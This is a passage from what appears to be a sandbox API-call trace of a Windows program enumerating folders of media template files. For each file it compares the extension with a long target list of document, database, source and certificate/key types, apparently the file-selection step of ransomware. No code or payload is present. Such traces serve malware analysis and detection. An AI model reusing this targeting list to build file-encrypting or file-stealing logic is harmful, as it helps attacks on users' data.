(lpString1=".myd", lpString2=".png") returned -1 [0258.917] lstrlenW (lpString=".myi") returned 4 [0258.917] lstrcmpiW (lpString1=".myi", lpString2=".png") returned -1 [0258.917] lstrlenW (lpString=".nef") returned 4 [0258.917] lstrcmpiW (lpString1=".nef", lpString2=".png") returned -1 [0258.917] lstrlenW (lpString=".nrw") returned 4 [0258.917] lstrcmpiW (lpString1=".nrw", lpString2=".png") returned -1 [0258.917] lstrlenW (lpString=".obj") returned 4 [0258.917] lstrcmpiW (lpString1=".obj", lpString2=".png") returned -1 [0258.917] lstrlenW (lpString=".odb") returned 4 [0258.917] lstrcmpiW (lpString1=".odb", lpString2=".png") returned -1 [0258.918] lstrlenW (lpString=".odc") returned 4 [0258.918] lstrcmpiW (lpString1=".odc", lpString2=".png") returned -1 [0258.918] lstrlenW (lpString=".odm") returned 4 [0258.918] lstrcmpiW (lpString1=".odm", lpString2=".png") returned -1 [0258.918] lstrlenW (lpString=".odp") returned 4 [0258.918] lstrcmpiW (lpString1=".odp", lpString2=".png") returned -1 [0258.918] lstrlenW (lpString=".ods") returned 4 [0258.918] lstrcmpiW (lpString1=".ods", lpString2=".png") returned -1 [0258.918] lstrlenW (lpString=".oft") returned 4 [0258.918] lstrcmpiW (lpString1=".oft", lpString2=".png") returned -1 [0258.918] lstrlenW (lpString=".one") returned 4 [0258.918] lstrcmpiW (lpString1=".one", lpString2=".png") returned -1 [0258.918] lstrlenW (lpString=".onepkg") returned 7 [0258.918] lstrcmpiW (lpString1=".onepkg", lpString2="und.png") returned -1 [0258.918] lstrlenW (lpString=".onetoc2") returned 8 [0258.918] lstrcmpiW (lpString1=".onetoc2", lpString2="ound.png") returned -1 [0258.918] lstrlenW (lpString=".opt") returned 4 [0258.918] lstrcmpiW (lpString1=".opt", lpString2=".png") returned -1 [0258.918] lstrlenW (lpString=".oqy") returned 4 [0258.918] lstrcmpiW (lpString1=".oqy", lpString2=".png") returned -1 [0258.918] lstrlenW (lpString=".orf") returned 4 [0258.918] lstrcmpiW (lpString1=".orf", lpString2=".png") returned -1 [0258.918] lstrlenW (lpString=".p12") returned 4 [0258.918] lstrcmpiW (lpString1=".p12", lpString2=".png") returned -1 [0258.918] lstrlenW (lpString=".p7b") returned 4 [0258.919] lstrcmpiW (lpString1=".p7b", lpString2=".png") returned -1 [0258.919] lstrlenW (lpString=".p7c") returned 4 [0258.919] lstrcmpiW (lpString1=".p7c", lpString2=".png") returned -1 [0258.919] lstrlenW (lpString=".pam") returned 4 [0258.919] lstrcmpiW (lpString1=".pam", lpString2=".png") returned -1 [0258.919] lstrlenW (lpString=".pbm") returned 4 [0258.919] lstrcmpiW (lpString1=".pbm", lpString2=".png") returned -1 [0258.919] lstrlenW (lpString=".pct") returned 4 [0258.919] lstrcmpiW (lpString1=".pct", lpString2=".png") returned -1 [0258.919] lstrlenW (lpString=".pcx") returned 4 [0258.919] lstrcmpiW (lpString1=".pcx", lpString2=".png") returned -1 [0258.919] lstrlenW (lpString=".pdd") returned 4 [0258.919] lstrcmpiW (lpString1=".pdd", lpString2=".png") returned -1 [0258.919] lstrlenW (lpString=".pdf") returned 4 [0258.919] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0258.919] lstrlenW (lpString=".pdp") returned 4 [0258.919] lstrcmpiW (lpString1=".pdp", lpString2=".png") returned -1 [0258.919] lstrlenW (lpString=".pef") returned 4 [0258.919] lstrcmpiW (lpString1=".pef", lpString2=".png") returned -1 [0258.919] lstrlenW (lpString=".pem") returned 4 [0258.919] lstrcmpiW (lpString1=".pem", lpString2=".png") returned -1 [0258.919] lstrlenW (lpString=".pff") returned 4 [0258.919] lstrcmpiW (lpString1=".pff", lpString2=".png") returned -1 [0258.919] lstrlenW (lpString=".pfm") returned 4 [0258.919] lstrcmpiW (lpString1=".pfm", lpString2=".png") returned -1 [0258.919] lstrlenW (lpString=".pfx") returned 4 [0258.919] lstrcmpiW (lpString1=".pfx", lpString2=".png") returned -1 [0258.919] lstrlenW (lpString=".pgm") returned 4 [0258.920] lstrcmpiW (lpString1=".pgm", lpString2=".png") returned -1 [0258.920] lstrlenW (lpString=".php") returned 4 [0258.920] lstrcmpiW (lpString1=".php", lpString2=".png") returned -1 [0258.920] lstrlenW (lpString=".php3") returned 5 [0258.920] lstrcmpiW (lpString1=".php3", lpString2="d.png") returned -1 [0258.920] lstrlenW (lpString=".php4") returned 5 [0258.920] lstrcmpiW (lpString1=".php4", lpString2="d.png") returned -1 [0258.920] lstrlenW (lpString=".php5") returned 5 [0258.920] lstrcmpiW (lpString1=".php5", lpString2="d.png") returned -1 [0258.920] lstrlenW (lpString=".phtml") returned 6 [0258.920] lstrcmpiW (lpString1=".phtml", lpString2="nd.png") returned -1 [0258.920] lstrlenW (lpString=".pict") returned 5 [0258.920] lstrcmpiW (lpString1=".pict", lpString2="d.png") returned -1 [0258.920] lstrlenW (lpString=".pl") returned 3 [0258.920] lstrcmpiW (lpString1=".pl", lpString2="png") returned -1 [0258.920] lstrlenW (lpString=".pls") returned 4 [0258.920] lstrcmpiW (lpString1=".pls", lpString2=".png") returned -1 [0258.920] lstrlenW (lpString=".pm") returned 3 [0258.920] lstrcmpiW (lpString1=".pm", lpString2="png") returned -1 [0258.920] lstrlenW (lpString=".png") returned 4 [0258.920] lstrcmpiW (lpString1=".png", lpString2=".png") returned 0 [0258.920] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72858c15, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72858c15, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-highlight.png", cAlternateFileName="")) returned 1 [0258.920] lstrlenW (lpString="16_9-frame-highlight.png") returned 24 [0258.920] lstrlenW (lpString=".1cd") returned 4 [0258.920] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0258.920] lstrlenW (lpString=".3ds") returned 4 [0258.920] lstrcmpiW (lpString1=".3ds", lpString2=".png") returned -1 [0258.920] lstrlenW (lpString=".3fr") returned 4 [0258.920] lstrcmpiW (lpString1=".3fr", lpString2=".png") returned -1 [0258.921] lstrlenW (lpString=".3g2") returned 4 [0258.921] lstrcmpiW (lpString1=".3g2", lpString2=".png") returned -1 [0258.921] lstrlenW (lpString=".3gp") returned 4 [0258.921] lstrcmpiW (lpString1=".3gp", lpString2=".png") returned -1 [0258.921] lstrlenW (lpString=".7z") returned 3 [0258.921] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0258.921] lstrlenW (lpString=".accda") returned 6 [0258.921] lstrcmpiW (lpString1=".accda", lpString2="ht.png") returned -1 [0258.921] lstrlenW (lpString=".accdb") returned 6 [0258.921] lstrcmpiW (lpString1=".accdb", lpString2="ht.png") returned -1 [0258.921] lstrlenW (lpString=".accdc") returned 6 [0258.921] lstrcmpiW (lpString1=".accdc", lpString2="ht.png") returned -1 [0258.921] lstrlenW (lpString=".accde") returned 6 [0258.921] lstrcmpiW (lpString1=".accde", lpString2="ht.png") returned -1 [0258.921] lstrlenW (lpString=".accdt") returned 6 [0258.921] lstrcmpiW (lpString1=".accdt", lpString2="ht.png") returned -1 [0258.921] lstrlenW (lpString=".accdw") returned 6 [0258.921] lstrcmpiW (lpString1=".accdw", lpString2="ht.png") returned -1 [0258.921] lstrlenW (lpString=".adb") returned 4 [0258.921] lstrcmpiW (lpString1=".adb", lpString2=".png") returned -1 [0258.921] lstrlenW (lpString=".adp") returned 4 [0258.921] lstrcmpiW (lpString1=".adp", lpString2=".png") returned -1 [0258.921] lstrlenW (lpString=".ai") returned 3 [0258.921] lstrcmpiW (lpString1=".ai", lpString2="png") returned -1 [0258.921] lstrlenW (lpString=".ai3") returned 4 [0258.921] lstrcmpiW (lpString1=".ai3", lpString2=".png") returned -1 [0258.921] lstrlenW (lpString=".ai4") returned 4 [0258.921] lstrcmpiW (lpString1=".ai4", lpString2=".png") returned -1 [0258.921] lstrlenW (lpString=".ai5") returned 4 [0258.921] lstrcmpiW (lpString1=".ai5", lpString2=".png") returned -1 [0258.921] lstrlenW (lpString=".ai6") returned 4 [0258.922] lstrcmpiW (lpString1=".ai6", lpString2=".png") returned -1 [0258.922] lstrlenW (lpString=".ai7") returned 4 [0258.922] lstrcmpiW (lpString1=".ai7", lpString2=".png") returned -1 [0258.922] lstrlenW (lpString=".ai8") returned 4 [0258.922] lstrcmpiW (lpString1=".ai8", lpString2=".png") returned -1 [0258.922] lstrlenW (lpString=".anim") returned 5 [0258.922] lstrcmpiW (lpString1=".anim", lpString2="t.png") returned -1 [0258.922] lstrlenW (lpString=".arw") returned 4 [0258.922] lstrcmpiW (lpString1=".arw", lpString2=".png") returned -1 [0258.923] RtlpDeCommitFreeBlock () [0258.923] FindNextFileW (in: hFindFile=0x63f048, lpFindFileData=0x372f310 | out: lpFindFileData=0x372f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ecb0968, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ecb0968, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1276, dwReserved0=0x0, dwReserved1=0x0, cFileName="BlackRectangle.bmp", cAlternateFileName="")) returned 1 [0258.925] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f43efc8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f465237, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.925] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe188e9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe188e9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0258.929] RtlpDeCommitFreeBlock () [0258.929] FindNextFileW (in: hFindFile=0x63f048, lpFindFileData=0x372f310 | out: lpFindFileData=0x372f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa63097e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a65ec8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Full", cAlternateFileName="")) returned 1 [0258.931] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa63097e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a65ec8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.931] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f12724e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f12724e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0258.932] RtlpDeCommitFreeBlock () [0258.932] FindNextFileW (in: hFindFile=0x63f048, lpFindFileData=0x372f310 | out: lpFindFileData=0x372f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eec5c7e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eec5c7e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x75ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="Heart_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0258.934] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fd11ff, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa787f65, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa108fe2a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.934] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6faf8c48, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6faf8c48, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0258.935] RtlpDeCommitFreeBlock () [0258.935] FindNextFileW (in: hFindFile=0x63f048, lpFindFileData=0x372f310 | out: lpFindFileData=0x372f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa19a729d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a3fc59, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LayeredTitles", cAlternateFileName="LAYERE~1")) returned 1 [0258.936] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa19a729d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a3fc59, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.936] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70bee7b2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70bee7b2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0259.110] RtlpDeCommitFreeBlock () [0259.112] FindNextFileW (in: hFindFile=0x63f048, lpFindFileData=0x372f310 | out: lpFindFileData=0x372f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fbd8be5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab41c3c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fdc8b88, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Memories", cAlternateFileName="")) returned 1 [0259.145] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fbd8be5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab41c3c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fdc8b88, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.145] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x710d74af, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x710d74af, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb08f, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-background.png", cAlternateFileName="")) returned 1 [0259.145] RtlpDeCommitFreeBlock () [0259.145] FindNextFileW (in: hFindFile=0x63f048, lpFindFileData=0x372f310 | out: lpFindFileData=0x372f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e96ab6a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e96ab6a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="menu_style_default_Thumbnail.png", cAlternateFileName="")) returned 1 [0259.189] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f465237, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7ae1d4, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f48b4a6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.189] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fcc1ca4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fcc1ca4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0259.190] RtlpDeCommitFreeBlock () [0259.190] FindNextFileW (in: hFindFile=0x63f048, lpFindFileData=0x372f310 | out: lpFindFileData=0x372f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4fdbf3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f9e8c42, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Performance", cAlternateFileName="PERFOR~1")) returned 1 [0259.192] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4fdbf3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f9e8c42, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.192] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70562bb6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70562bb6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d35f55b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xeef, dwReserved0=0x0, dwReserved1=0x0, cFileName="720x480blacksquare.png", cAlternateFileName="")) returned 1 [0259.193] RtlpDeCommitFreeBlock () [0259.194] FindNextFileW (in: hFindFile=0x63f048, lpFindFileData=0x372f310 | out: lpFindFileData=0x372f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa15a10e8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa198102e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets", cAlternateFileName="")) returned 1 [0259.196] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa15a10e8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa198102e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.196] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72003fbd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72003fbd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e55fac9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x39eaa, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_INTRO_BG.wmv", cAlternateFileName="")) returned 1 [0259.197] RtlpDeCommitFreeBlock () [0259.197] FindNextFileW (in: hFindFile=0x63f048, lpFindFileData=0x372f310 | out: lpFindFileData=0x372f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ee00a15, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x4ee00a15, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x14fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="photoedge_buttongraphic.png", cAlternateFileName="")) returned 1 [0259.200] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa11287e6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa73ba87, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa119af33, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.200] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f316407, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f316407, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0259.201] RtlpDeCommitFreeBlock () [0259.201] FindNextFileW (in: hFindFile=0x63f048, lpFindFileData=0x372f310 | out: lpFindFileData=0x372f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f38039d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f3f2aea, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rectangles", cAlternateFileName="RECTAN~1")) returned 1 [0259.202] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f38039d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f3f2aea, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.202] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f955d49, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f955d49, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0259.203] RtlpDeCommitFreeBlock () [0259.203] FindNextFileW (in: hFindFile=0x63f048, lpFindFileData=0x372f310 | out: lpFindFileData=0x372f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea9b652, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea9b652, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee98f8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_babypink_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0259.205] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa119af33, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa12338ef, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.205] 